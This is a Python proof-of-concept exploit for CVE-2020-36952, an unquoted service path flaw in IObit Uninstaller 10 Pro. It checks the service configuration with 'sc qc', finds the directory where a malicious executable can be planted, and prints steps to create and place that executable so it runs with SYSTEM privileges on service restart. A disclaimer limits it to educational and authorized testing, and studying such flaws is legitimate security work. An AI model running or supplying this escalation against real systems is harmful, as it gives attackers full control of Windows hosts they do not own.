CVE-2020-36952 IObit Uninstaller 10 Pro未引号服务路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2020-36952 PoC - IObit Uninstaller 10 Pro Unquoted Service Path This PoC demonstrates how to exploit the unquoted service path vulnerability to escalate privileges to SYSTEM level. Note: This is for educational and authorized testing purposes only. """ import os import subprocess import sys def check_service_path(): """Check if the IObit Uninstaller service has an unquoted path with spaces""" try: # Query the service configuration using sc command result = subprocess.run( ['sc', 'qc', 'IObitUninstallerSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[*] IObit Uninstaller Service found") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[*] Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True, path return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(service_path): """ Exploit the unquoted service path by creating a malicious executable in the intermediate directory path. """ # Extract path components path_parts = service_path.strip('"').split('\\') # Find the first directory with space in its name exploit_dir = None for i, part in enumerate(path_parts[:-1]): if ' ' in part: exploit_dir = '\\'.join(path_parts[:i+1]) malicious_exe = os.path.join(exploit_dir, path_parts[i+1].split()[0] + '.exe') break if not exploit_dir: print("[-] No exploitable path component found") return False print(f"[*] Exploit directory: {exploit_dir}") print(f"[*] Malicious executable should be placed at: {malicious_exe}") print(f"[!] When service restarts, it will execute the malicious file with SYSTEM privileges") return True def main(): print("=" * 60) print("CVE-2020-36952 - IObit Uninstaller Unquoted Service Path") print("=" * 60) vulnerable, path = check_service_path() if vulnerable: print("\n[!] Target is VULNERABLE to CVE-2020-36952") exploit_unquoted_path(path) print("\n[*] To exploit:") print(" 1. Create a malicious executable") print(" 2. Place it in the exploit directory") print(" 3. Wait for service restart or reboot") else: print("\n[-] Target does not appear to be vulnerable") if __name__ == '__main__': main()